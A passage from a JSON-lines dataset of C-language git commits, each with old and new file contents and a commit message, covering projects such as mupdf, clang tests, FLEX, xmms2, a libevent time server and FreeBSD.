fz_iodone)\n\t\t\treason = fz_rethrow(reason, \"cannot process filter\");\n\t\tout->eof = 1;\n\t\tf->done = 1;\n\t}\n\n\treturn reason;\n}\n\nfz_filter *\nfz_keepfilter(fz_filter *f)\n{\n\tf->refs ++;\n\treturn f;\n}\n\nvoid\nfz_dropfilter(fz_filter *f)\n{\n\tif (--f->refs == 0)\n\t{\n\t\tif (f->drop)\n\t\t\tf->drop(f);\n\t\tfz_free(f);\n\t}\n}\n\n","subject":"Move assert test of EOF to after testing if a filter is done.","message":"Move assert test of EOF to after testing if a filter is done.\n","lang":"C","license":"agpl-3.0","repos":"tophyr\/mupdf,PuzzleFlow\/mupdf,derek-watson\/mupdf,cgogolin\/penandpdf,ArtifexSoftware\/mupdf,asbloomf\/mupdf,lamemate\/mupdf,lolo32\/mupdf-mirror,lolo32\/mupdf-mirror,loungeup\/mupdf,knielsen\/mupdf,kobolabs\/mupdf,asbloomf\/mupdf,TamirEvan\/mupdf,hjiayz\/forkmupdf,hackqiang\/mupdf,seagullua\/MuPDF,MokiMobility\/muPDF,nqv\/mupdf,sebras\/mupdf,poor-grad-student\/mupdf,benoit-pierre\/mupdf,Kalp695\/mupdf,ArtifexSoftware\/mupdf,lolo32\/mupdf-mirror,robamler\/mupdf-nacl,ArtifexSoftware\/mupdf,Kalp695\/mupdf,derek-watson\/mupdf,TamirEvan\/mupdf,isavin\/humblepdf,knielsen\/mupdf,tribals\/mupdf,lolo32\/mupdf-mirror,lamemate\/mupdf,michaelcadilhac\/pdfannot,seagullua\/MuPDF,geetakaur\/NewApps,cgogolin\/penandpdf,MokiMobility\/muPDF,benoit-pierre\/mupdf,michaelcadilhac\/pdfannot,ArtifexSoftware\/mupdf,PuzzleFlow\/mupdf,FabriceSalvaire\/mupdf-cmake,robamler\/mupdf-nacl,lustersir\/MuPDF,xiangxw\/mupdf,wild0\/opened_mupdf,FabriceSalvaire\/mupdf-v1.3,poor-grad-student\/mupdf,cgogolin\/penandpdf,clchiou\/mupdf,derek-watson\/mupdf,sebras\/mupdf,isavin\/humblepdf,hxx0215\/MuPDFMirror,FabriceSalvaire\/mupdf-cmake,wzhsunn\/mupdf,clchiou\/mupdf,lamemate\/mupdf,tophyr\/mupdf,FabriceSalvaire\/mupdf-v1.3,geetakaur\/NewApps,wild0\/opened_mupdf,FabriceSalvaire\/mupdf-cmake,issuestand\/mupdf,FabriceSalvaire\/mupdf-v1.3,github201407\/MuPDF,seagullua\/MuPDF,TamirEvan\/mupdf,github201407\/MuPDF,cgogolin\/penandpdf,zeniko\/mupdf,fluks\/mupdf-x11-bookmarks,ccxvii\/mupdf,TamirEvan\/mupdf,asbloomf\/mupdf,wzhsunn\/mupdf,ArtifexSoftware\/mupdf,flipstudio\/MuPDF,hjiayz\/forkmupdf,xiangxw\/mupdf,lolo32\/mupdf-mirror,ziel\/mupdf,benoit-pierre\/mupdf,sebras\/mupdf,fluks\/mupdf-x11-bookmarks,wzhsunn\/mupdf,flipstudio\/MuPDF,kobolabs\/mupdf,fluks\/mupdf-x11-bookmarks,flipstudio\/MuPDF,github201407\/MuPDF,hxx0215\/MuPDFMirror,crow-misia\/mupdf,ArtifexSoftware\/mupdf,hxx0215\/MuPDFMirror,xiangxw\/mupdf,Kalp695\/mupdf,hackqiang\/mupdf,lolo32\/mupdf-mirror,zeniko\/mupdf,seagullua\/MuPDF,muennich\/mupdf,sebras\/mupdf,MokiMobility\/muPDF,issuestand\/mupdf,ylixir\/mupdf,ccxvii\/mupdf,ziel\/mupdf,asbloomf\/mupdf,samturneruk\/mupdf_secure_android,clchiou\/mupdf,flipstudio\/MuPDF,samturneruk\/mupdf_secure_android,nqv\/mupdf,hackqiang\/mupdf,crow-misia\/mupdf,nqv\/mupdf,isavin\/humblepdf,seagullua\/MuPDF,geetakaur\/NewApps,TamirEvan\/mupdf,ylixir\/mupdf,robamler\/mupdf-nacl,ccxvii\/mupdf,hackqiang\/mupdf,seagullua\/MuPDF,Kalp695\/mupdf,FabriceSalvaire\/mupdf-v1.3,crow-misia\/mupdf,benoit-pierre\/mupdf,ArtifexSoftware\/mupdf,tophyr\/mupdf,derek-watson\/mupdf,samturneruk\/mupdf_secure_android,isavin\/humblepdf,poor-grad-student\/mupdf,loungeup\/mupdf,ziel\/mupdf,lustersir\/MuPDF,ziel\/mupdf,ylixir\/mupdf,TamirEvan\/mupdf,knielsen\/mupdf,wzhsunn\/mupdf,lustersir\/MuPDF,TamirEvan\/mupdf,loungeup\/mupdf,andyhan\/mupdf,knielsen\/mupdf,lustersir\/MuPDF,tribals\/mupdf,derek-watson\/mupdf,wzhsunn\/mupdf,xiangxw\/mupdf,FabriceSalvaire\/mupdf-v1.3,PuzzleFlow\/mupdf,zeniko\/mupdf,zeniko\/mupdf,hjiayz\/forkmupdf,FabriceSalvaire\/mupdf-cmake,asbloomf\/mupdf,wzhsunn\/mupdf,muennich\/mupdf,knielsen\/mupdf,andyhan\/mupdf,wild0\/opened_mupdf,andyhan\/mupdf,crow-misia\/mupdf,ccxvii\/mupdf,kobolabs\/mupdf,MokiMobility\/muPDF,ylixir\/mupdf,loungeup\/mupdf,samturneruk\/mupdf_secure_android,sebras\/mupdf,samturneruk\/mupdf_secure_android,flipstudio\/MuPDF,xiangxw\/mupdf,wild0\/opened_mupdf,kobolabs\/mupdf,wild0\/opened_mupdf,lamemate\/mupdf,samturneruk\/mupdf_secure_android,github201407\/MuPDF,crow-misia\/mupdf,hackqiang\/mupdf,wild0\/opened_mupdf,issuestand\/mupdf,andyhan\/mupdf,benoit-pierre\/mupdf,fluks\/mupdf-x11-bookmarks,muennich\/mupdf,lolo32\/mupdf-mirror,benoit-pierre\/mupdf,hjiayz\/forkmupdf,PuzzleFlow\/mupdf,michaelcadilhac\/pdfannot,andyhan\/mupdf,Kalp695\/mupdf,hxx0215\/MuPDFMirror,FabriceSalvaire\/mupdf-v1.3,zeniko\/mupdf,derek-watson\/mupdf,FabriceSalvaire\/mupdf-cmake,lamemate\/mupdf,cgogolin\/penandpdf,MokiMobility\/muPDF,robamler\/mupdf-nacl,cgogolin\/penandpdf,lustersir\/MuPDF,clchiou\/mupdf,tribals\/mupdf,tophyr\/mupdf,ArtifexSoftware\/mupdf,fluks\/mupdf-x11-bookmarks,tophyr\/mupdf,zeniko\/mupdf,loungeup\/mupdf,FabriceSalvaire\/mupdf-cmake,sebras\/mupdf,kobolabs\/mupdf,geetakaur\/NewApps,ylixir\/mupdf,issuestand\/mupdf,github201407\/MuPDF,tribals\/mupdf,ccxvii\/mupdf,poor-grad-student\/mupdf,poor-grad-student\/mupdf,tophyr\/mupdf,poor-grad-student\/mupdf,ziel\/mupdf,hxx0215\/MuPDFMirror,Kalp695\/mupdf,muennich\/mupdf,kobolabs\/mupdf,hxx0215\/MuPDFMirror,issuestand\/mupdf,hjiayz\/forkmupdf,hjiayz\/forkmupdf,isavin\/humblepdf,knielsen\/mupdf,nqv\/mupdf,kobolabs\/mupdf,xiangxw\/mupdf,PuzzleFlow\/mupdf,github201407\/MuPDF,muennich\/mupdf,nqv\/mupdf,isavin\/humblepdf,geetakaur\/NewApps,wild0\/opened_mupdf,muennich\/mupdf,fluks\/mupdf-x11-bookmarks,geetakaur\/NewApps,fluks\/mupdf-x11-bookmarks,michaelcadilhac\/pdfannot,issuestand\/mupdf,michaelcadilhac\/pdfannot,robamler\/mupdf-nacl,xiangxw\/mupdf,isavin\/humblepdf,asbloomf\/mupdf,clchiou\/mupdf,tribals\/mupdf,clchiou\/mupdf,muennich\/mupdf,ccxvii\/mupdf,ziel\/mupdf,ylixir\/mupdf,michaelcadilhac\/pdfannot,nqv\/mupdf,robamler\/mupdf-nacl,MokiMobility\/muPDF,andyhan\/mupdf,TamirEvan\/mupdf,tribals\/mupdf,PuzzleFlow\/mupdf,crow-misia\/mupdf,Kalp695\/mupdf,lamemate\/mupdf,hackqiang\/mupdf,loungeup\/mupdf,flipstudio\/MuPDF,lustersir\/MuPDF,PuzzleFlow\/mupdf"}
{"commit":"6c3a9502f0f9d5523102545bf344b5bc2e2bfeb9","old_file":"include\/mpi-compat.h","new_file":"include\/mpi-compat.h","old_contents":"\/* Author:  Lisandro Dalcin   *\/\n\/* Contact: dalcinl@gmail.com *\/\n\n#ifndef MPI_COMPAT_H\n#define MPI_COMPAT_H\n\n#include <mpi.h>\n\n#if (MPI_VERSION < 3) && !defined(PyMPI_HAVE_MPI_Message)\ntypedef void *PyMPI_MPI_Message;\n#define MPI_Message PyMPI_MPI_Message\n#endif\n\n#endif\/*MPI_COMPAT_H*\/\n","new_contents":"\/* Author:  Lisandro Dalcin   *\/\n\/* Contact: dalcinl@gmail.com *\/\n\n#ifndef MPI_COMPAT_H\n#define MPI_COMPAT_H\n\n#include <mpi.h>\n\n#if (MPI_VERSION < 3) && !defined(PyMPI_HAVE_MPI_Message)\ntypedef void *PyMPI_MPI_Message;\n#define MPI_Message PyMPI_MPI_Message\n#endif\n\n#if (MPI_VERSION < 4) && !defined(PyMPI_HAVE_MPI_Session)\ntypedef void *PyMPI_MPI_Session;\n#define MPI_Session PyMPI_MPI_Session\n#endif\n\n#endif\/*MPI_COMPAT_H*\/\n","subject":"Define MPI_Session for compatibility with current mpi4py main branch","message":"Define MPI_Session for compatibility with current mpi4py main branch\n","lang":"C","license":"mit","repos":"Unidata\/netcdf4-python,Unidata\/netcdf4-python,Unidata\/netcdf4-python"}
{"commit":"66be7388475932a5a2425e3bfd7ffc57f70dcd1c","old_file":"tests\/regression\/13-privatized\/66-mine-W-init.c","new_file":"tests\/regression\/13-privatized\/66-mine-W-init.c","old_contents":"#include <pthread.h>\n#include <assert.h>\n\nint g;\n\nvoid *t_fun(void *arg) {\n  return NULL;\n}\n\nvoid main() {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n  g = 1;\n  assert(g); \/\/ Mine's analysis would succeed, our mine-W doesn't\n}\n","new_contents":"#include <pthread.h>\n#include <assert.h>\n\nint g;\n\nvoid *t_fun(void *arg) {\n  return NULL;\n}\n\nvoid main() {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n  g = 1;\n  assert(g); \/\/ TODO (Mine's analysis would succeed, our mine-W doesn't)\n}\n","subject":"Mark Mine init privatization test TODO to make others pass","message":"Mark Mine init privatization test TODO to make others pass\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"799188a34509000f87f139423a6ba52d93ee1f1d","old_file":"test2\/bitfields\/init\/pad_end.c","new_file":"test2\/bitfields\/init\/pad_end.c","old_contents":"\/\/ RUN: %layout_check %s\n\nstruct A\n{\n\tint : 0;\n\tint a;\n\tint : 0;\n\tint b;\n\tint : 0;\n};\n\nstruct A a = { 1, 2 };\n","new_contents":"\/\/ RUN: %layout_check %s\n\nstruct A\n{\n\tint : 0;\n\tint a;\n\tint : 0;\n\tint : 0;\n\tint : 0;\n\tint : 0;\n\tint b;\n\tint : 0;\n};\n\nstruct A a = { 1, 2 };\n","subject":"Add more zero-width fields to bitfield padding test","message":"Add more zero-width fields to bitfield padding test\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"b79d3efea5f31ee74a5960522b0552fc9b43dc43","old_file":"test\/Parser\/nullability.c","new_file":"test\/Parser\/nullability.c","old_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -std=c99 -Wno-nullability-declspec -pedantic %s -verify\n\n_Nonnull int *ptr; \/\/ expected-warning{{type nullability specifier '_Nonnull' is a Clang extension}}\n\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wnullability-extension\"\n_Nonnull int *ptr2; \/\/ no-warning\n#pragma clang diagnostic pop\n\n#if __has_feature(nullability)\n#  error Nullability should not be supported in C under -pedantic -std=c99\n#endif\n\n#if !__has_extension(nullability)\n#  error Nullability should always be supported as an extension\n#endif\n","new_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -std=c99 -Wno-nullability-declspec -pedantic %s -verify\n\n_Nonnull int *ptr; \/\/ expected-warning{{type nullability specifier '_Nonnull' is a Clang extension}}\n\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wnullability-extension\"\n_Nonnull int *ptr2; \/\/ no-warning\n#pragma clang diagnostic pop\n\n#if !__has_feature(nullability)\n#  error Nullability should always be supported\n#endif\n\n#if !__has_extension(nullability)\n#  error Nullability should always be supported as an extension\n#endif\n","subject":"Fix a test case broken by my previous commit.","message":"Fix a test case broken by my previous commit.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@240977 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"ca005fb4d05df5ba680b20566baf4fac515f4fe3","old_file":"Classes\/Utility\/Runtime\/Objc\/FLEXRuntimeSafety.h","new_file":"Classes\/Utility\/Runtime\/Objc\/FLEXRuntimeSafety.h","old_contents":"\/\/\n\/\/  FLEXRuntimeSafety.h\n\/\/  FLEX\n\/\/\n\/\/  Created by Tanner on 3\/25\/17.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <objc\/runtime.h>\n\n#pragma mark - Classes\n\nextern NSUInteger const kFLEXKnownUnsafeClassCount;\nextern const Class * FLEXKnownUnsafeClassList(void);\nextern NSSet * FLEXKnownUnsafeClassNames(void);\nextern CFSetRef FLEXKnownUnsafeClasses;\n\nstatic inline BOOL FLEXClassIsSafe(Class cls) {\n    if (!cls) return NO;\n\n    return !CFSetContainsValue(FLEXKnownUnsafeClasses, (__bridge void *)cls);\n}\n\nstatic inline BOOL FLEXClassNameIsSafe(NSString *cls) {\n    if (!cls) return NO;\n    \n    NSSet *ignored = FLEXKnownUnsafeClassNames();\n    return ![ignored containsObject:cls];\n}\n\n#pragma mark - Ivars\n\nextern CFSetRef FLEXKnownUnsafeIvars;\n\nstatic inline BOOL FLEXIvarIsSafe(Ivar ivar) {\n    if (!ivar) return NO;\n\n    return !CFSetContainsValue(FLEXKnownUnsafeIvars, ivar);\n}\n","new_contents":"\/\/\n\/\/  FLEXRuntimeSafety.h\n\/\/  FLEX\n\/\/\n\/\/  Created by Tanner on 3\/25\/17.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <objc\/runtime.h>\n\n#pragma mark - Classes\n\nextern NSUInteger const kFLEXKnownUnsafeClassCount;\nextern const Class * FLEXKnownUnsafeClassList(void);\nextern NSSet * FLEXKnownUnsafeClassNames(void);\nextern CFSetRef FLEXKnownUnsafeClasses;\n\nstatic Class cNSObject = nil, cNSProxy = nil;\n\n__attribute__((constructor))\nstatic void FLEXInitKnownRootClasses() {\n    cNSObject = [NSObject class];\n    cNSProxy = [NSProxy class];\n}\n\nstatic inline BOOL FLEXClassIsSafe(Class cls) {\n    \/\/ Is it nil or known to be unsafe?\n    if (!cls || CFSetContainsValue(FLEXKnownUnsafeClasses, (__bridge void *)cls)) {\n        return NO;\n    }\n    \n    \/\/ Is it a known root class?\n    if (!class_getSuperclass(cls)) {\n        return cls == cNSObject || cls == cNSProxy;\n    }\n    \n    \/\/ Probably safe\n    return YES;\n}\n\nstatic inline BOOL FLEXClassNameIsSafe(NSString *cls) {\n    if (!cls) return NO;\n    \n    NSSet *ignored = FLEXKnownUnsafeClassNames();\n    return ![ignored containsObject:cls];\n}\n\n#pragma mark - Ivars\n\nextern CFSetRef FLEXKnownUnsafeIvars;\n\nstatic inline BOOL FLEXIvarIsSafe(Ivar ivar) {\n    if (!ivar) return NO;\n\n    return !CFSetContainsValue(FLEXKnownUnsafeIvars, ivar);\n}\n","subject":"Make FLEXClassIsSafe return NO for unknown root classes","message":"Make FLEXClassIsSafe return NO for unknown root classes\n","lang":"C","license":"bsd-3-clause","repos":"NSExceptional\/FLEX,NSExceptional\/FLEX,Flipboard\/FLEX,Flipboard\/FLEX"}
{"commit":"bf11d5ba74b8250248839cb48aad0840e9cfd357","old_file":"hswebkit.h","new_file":"hswebkit.h","old_contents":"\/*\n * Copyright (C) 2009 Cjacker Huang <jzhuang@redflag-linux.com>.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB.  If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n\n#ifndef HS_WEBKIT_H\n#define HS_WEBKIT_H\n\/* to avoid stdbool.h error in JavaScriptCore\/JSBase.h*\/\n#define _Bool int\n\n#define WINAPI\n#define CALLBACK\n\n\/* include webkit headers*\/\n#include <webkit\/webkit.h>\n#include <webkit\/webkitdom.h>\n#endif\n\n#include \"events.h\"\n","new_contents":"\/*\n * Copyright (C) 2009 Cjacker Huang <jzhuang@redflag-linux.com>.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB.  If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n\n#ifdef __BLOCKS__\n#undef __BLOCKS__\n#endif\n\n#ifndef HS_WEBKIT_H\n#define HS_WEBKIT_H\n\/* to avoid stdbool.h error in JavaScriptCore\/JSBase.h*\/\n#define _Bool int\n\n#define WINAPI\n#define CALLBACK\n\n\/* include webkit headers*\/\n#include <webkit\/webkit.h>\n#include <webkit\/webkitdom.h>\n#endif\n\n#include \"events.h\"\n","subject":"Fix CPP issue on OS X","message":"Fix CPP issue on OS X\n","lang":"C","license":"lgpl-2.1","repos":"gtk2hs\/webkit,gtk2hs\/webkit,gtk2hs\/webkit"}
{"commit":"437e9c5483751d62f8bbbbfb7a9f83b5888eada8","old_file":"src\/plugins\/airplay\/net_utils.h","new_file":"src\/plugins\/airplay\/net_utils.h","old_contents":"#ifndef _NET_UTILS_H\n#define _NET_UTILS_H\n\n#include <string.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>  \n#include <netdb.h>\n#include <fcntl.h>\n\nchar *get_local_addr(int fd);\nint set_sock_nonblock(int sockfd);\nint tcp_open(); \nint tcp_connect(int sock_fd, const char *host, unsigned int port);\nint tcp_write(int fd, const char *buf, int n);\nint tcp_read(int fd, char *buf, int n);\n\n#endif \/* _NET_UTILS_H *\/\n","new_contents":"#ifndef _NET_UTILS_H\n#define _NET_UTILS_H\n\n#include <string.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>  \n#include <netdb.h>\n#include <fcntl.h>\n\nchar *get_local_addr(int fd);\nint set_sock_nonblock(int sockfd);\nint tcp_open(void); \nint tcp_connect(int sock_fd, const char *host, unsigned int port);\nint tcp_write(int fd, const char *buf, int n);\nint tcp_read(int fd, char *buf, int n);\n\n#endif \/* _NET_UTILS_H *\/\n","subject":"Fix function prototype in airplay plugin.","message":"OTHER: Fix function prototype in airplay plugin.\n","lang":"C","license":"lgpl-2.1","repos":"mantaraya36\/xmms2-mantaraya36,chrippa\/xmms2,mantaraya36\/xmms2-mantaraya36,xmms2\/xmms2-stable,oneman\/xmms2-oneman,theefer\/xmms2,theeternalsw0rd\/xmms2,mantaraya36\/xmms2-mantaraya36,oneman\/xmms2-oneman,dreamerc\/xmms2,theeternalsw0rd\/xmms2,oneman\/xmms2-oneman,krad-radio\/xmms2-krad,oneman\/xmms2-oneman,theeternalsw0rd\/xmms2,six600110\/xmms2,oneman\/xmms2-oneman,theefer\/xmms2,oneman\/xmms2-oneman,mantaraya36\/xmms2-mantaraya36,dreamerc\/xmms2,six600110\/xmms2,chrippa\/xmms2,oneman\/xmms2-oneman-old,oneman\/xmms2-oneman-old,theeternalsw0rd\/xmms2,theefer\/xmms2,oneman\/xmms2-oneman-old,six600110\/xmms2,oneman\/xmms2-oneman-old,theeternalsw0rd\/xmms2,theefer\/xmms2,dreamerc\/xmms2,theefer\/xmms2,mantaraya36\/xmms2-mantaraya36,oneman\/xmms2-oneman,krad-radio\/xmms2-krad,chrippa\/xmms2,krad-radio\/xmms2-krad,krad-radio\/xmms2-krad,chrippa\/xmms2,theefer\/xmms2,xmms2\/xmms2-stable,xmms2\/xmms2-stable,chrippa\/xmms2,six600110\/xmms2,dreamerc\/xmms2,krad-radio\/xmms2-krad,six600110\/xmms2,theefer\/xmms2,krad-radio\/xmms2-krad,mantaraya36\/xmms2-mantaraya36,xmms2\/xmms2-stable,mantaraya36\/xmms2-mantaraya36,xmms2\/xmms2-stable,dreamerc\/xmms2,theeternalsw0rd\/xmms2,six600110\/xmms2,chrippa\/xmms2,oneman\/xmms2-oneman-old,xmms2\/xmms2-stable"}
{"commit":"7d08034b9e6805682c6bad0abe53b84312030196","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <stdlib.h>\n\n#include <event2\/event.h>\n#include <event2\/http.h>\n\nstatic void time_request_cb(struct evhttp_request *req, void *arg)\n{\n    (void) arg;\n    printf(\"Received request for %s\\n\", evhttp_request_get_uri(req));\n    evhttp_send_reply(req, 200, \"OK\", NULL);\n}\n\nint main(int argc, char **argv) {\n    struct event_base *base;\n    struct evhttp *http;\n    struct evhttp_bound_socket *handle;\n\n    base = event_base_new();\n    if (base == NULL) {\n        fprintf(stderr, \"couldn't create event base\\n\");\n        return EXIT_FAILURE;\n    }\n\n    http = evhttp_new(base);\n    if (http == NULL) {\n        fprintf(stderr, \"couldn't create evhttp\\n\");\n        return EXIT_FAILURE;\n    }\n\n    evhttp_set_gencb(http, time_request_cb, NULL);\n    handle = evhttp_bind_socket_with_handle(http, \"0.0.0.0\", 8080);\n    if (handle == NULL) {\n        fprintf(stderr, \"couldn't bind to port 8080\\n\");\n        return EXIT_FAILURE;\n    }\n\n    event_base_dispatch(base);\n\n    return EXIT_SUCCESS;\n}","new_contents":"#include <stdlib.h>\n#include <time.h>\n\n#include <event2\/buffer.h>\n#include <event2\/event.h>\n#include <event2\/http.h>\n\nstatic void time_request_cb(struct evhttp_request *req, void *arg)\n{\n    (void) arg;\n    struct evbuffer *evb = evbuffer_new();\n\n    printf(\"Received request for %s\\n\", evhttp_request_get_uri(req));\n\n    time_t ts = time(NULL);\n    evbuffer_add_printf(evb, \"%s\", ctime(&ts));\n\n    evhttp_send_reply(req, 200, \"OK\", evb);\n    evbuffer_free(evb);\n}\n\nint main(int argc, char **argv) {\n    struct event_base *base;\n    struct evhttp *http;\n    struct evhttp_bound_socket *handle;\n\n    base = event_base_new();\n    if (base == NULL) {\n        fprintf(stderr, \"couldn't create event base\\n\");\n        return EXIT_FAILURE;\n    }\n\n    http = evhttp_new(base);\n    if (http == NULL) {\n        fprintf(stderr, \"couldn't create evhttp\\n\");\n        return EXIT_FAILURE;\n    }\n\n    evhttp_set_gencb(http, time_request_cb, NULL);\n    handle = evhttp_bind_socket_with_handle(http, \"0.0.0.0\", 8080);\n    if (handle == NULL) {\n        fprintf(stderr, \"couldn't bind to port 8080\\n\");\n        return EXIT_FAILURE;\n    }\n\n    event_base_dispatch(base);\n\n    return EXIT_SUCCESS;\n}","subject":"Return local server time on request","message":"Return local server time on request\n","lang":"C","license":"mit","repos":"sfod\/HTTP-server"}
{"commit":"63ed1676250ad8f8549716d60c8354ae800a12a3","old_file":"sys\/i386\/svr4\/svr4_genassym.c","new_file":"sys\/i386\/svr4\/svr4_genassym.c","old_contents":"\/* $FreeBSD$ *\/\n\/* Derived from:  Id: linux_genassym.c,v 1.8 1998\/07\/29 15:50:41 bde Exp *\/\n\n#include <sys\/param.h>\n#include <sys\/assym.h>\n\n#include <compat\/svr4\/svr4_signal.h>\n#include <compat\/svr4\/svr4_ucontext.h>\n\n\/* XXX: This bit sucks rocks, but gets rid of compiler errors.  Maybe I should\n * fix the include files instead... *\/\n#define SVR4_MACHDEP_JUST_REGS\n#include <i386\/svr4\/svr4_machdep.h>\n\nASSYM(SVR4_SIGF_HANDLER, offsetof(struct svr4_sigframe, sf_handler));\nASSYM(SVR4_SIGF_UC, offsetof(struct svr4_sigframe, sf_uc));\nASSYM(SVR4_UC_FS, offsetof(struct svr4_ucontext,\n    uc_mcontext.greg[SVR4_X86_FS]));\nASSYM(SVR4_UC_GS, offsetof(struct svr4_ucontext,\n    uc_mcontext.greg[SVR4_X86_GS]));\nASSYM(SVR4_UC_EFLAGS, offsetof(struct svr4_ucontext,\n    uc_mcontext.greg[SVR4_X86_EFL]));\n","new_contents":"\/* $FreeBSD$ *\/\n\/* Derived from:  Id: linux_genassym.c,v 1.8 1998\/07\/29 15:50:41 bde Exp *\/\n\n#include <sys\/param.h>\n#include <sys\/assym.h>\n#include <sys\/systm.h>\n\n#include <compat\/svr4\/svr4_signal.h>\n#include <compat\/svr4\/svr4_ucontext.h>\n\n\/* XXX: This bit sucks rocks, but gets rid of compiler errors.  Maybe I should\n * fix the include files instead... *\/\n#define SVR4_MACHDEP_JUST_REGS\n#include <i386\/svr4\/svr4_machdep.h>\n\nASSYM(SVR4_SIGF_HANDLER, offsetof(struct svr4_sigframe, sf_handler));\nASSYM(SVR4_SIGF_UC, offsetof(struct svr4_sigframe, sf_uc));\nASSYM(SVR4_UC_FS, offsetof(struct svr4_ucontext,\n    uc_mcontext.greg[SVR4_X86_FS]));\nASSYM(SVR4_UC_GS, offsetof(struct svr4_ucontext,\n    uc_mcontext.greg[SVR4_X86_GS]));\nASSYM(SVR4_UC_EFLAGS, offsetof(struct svr4_ucontext,\n    uc_mcontext.greg[SVR4_X86_EFL]));\n","subject":"Include <sys\/systm.h> for the definition of offsetof() instead of depending on the definition being misplaced in <sys\/types.h>. The definition probably belongs in <sys\/stddef.h>.","message":"Include <sys\/systm.h> for the definition of offsetof() instead of depending\non the definition being misplaced in <sys\/types.h>.  The definition probably\nbelongs in <sys\/stddef.h>.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"dd78e0e41887642975af2fa9952aed4993c4565b","old_file":"opencv_detector\/src\/lib\/filter\/background_extractor.h","new_file":"opencv_detector\/src\/lib\/filter\/background_extractor.h","old_contents":"#pragma once\n\n#include \"types\/process_filter.h\"\n\nnamespace TooManyPeeps {\n\n  class BackgroundExtractor : public ProcessFilter {\n\n    private:\n      static const bool TRACK_SHADOWS = false;\n\n    private:\n      cv::Ptr<cv::BackgroundSubtractor> backgroundExtractor;\n\n    public:\n      BackgroundExtractor(const cv::Mat& original, cv::Mat& result, int historySize, double threshold);\n      ~BackgroundExtractor(void);\n\n    public:\n      virtual void execute(void);\n  };\n\n};\n","new_contents":"#pragma once\n\n#include \"types\/process_filter.h\"\n\nnamespace TooManyPeeps {\n\n  class BackgroundExtractor : public ProcessFilter {\n\n    private:\n      static const bool TRACK_SHADOWS = true;\n\n    private:\n      cv::Ptr<cv::BackgroundSubtractor> backgroundExtractor;\n\n    public:\n      BackgroundExtractor(const cv::Mat& original, cv::Mat& result, int historySize, double threshold);\n      ~BackgroundExtractor(void);\n\n    public:\n      virtual void execute(void);\n  };\n\n};\n","subject":"Allow mog to track shadows","message":"Allow mog to track shadows\n","lang":"C","license":"mit","repos":"99-bugs\/toomanypeeps,99-bugs\/toomanypeeps,99-bugs\/toomanypeeps"}
{"commit":"9f0e132783fed48c41f762e8ec33388f6feb8784","old_file":"kjchess\/kjchess.h","new_file":"kjchess\/kjchess.h","old_contents":"\/\/\n\/\/  kjchess.h\n\/\/  kjchess\n\/\/\n\/\/  Created by Kristopher Johnson on 3\/11\/17.\n\/\/  Copyright © 2017 Kristopher Johnson. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n\/\/! Project version number for kjchess.\nFOUNDATION_EXPORT double kjchessVersionNumber;\n\n\/\/! Project version string for kjchess.\nFOUNDATION_EXPORT const unsigned char kjchessVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <kjchess\/PublicHeader.h>\n\n\n","new_contents":"\/\/\n\/\/  kjchess.h\n\/\/  kjchess\n\/\/\n\/\/  Copyright © 2017 Kristopher Johnson. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n\/\/! Project version number for 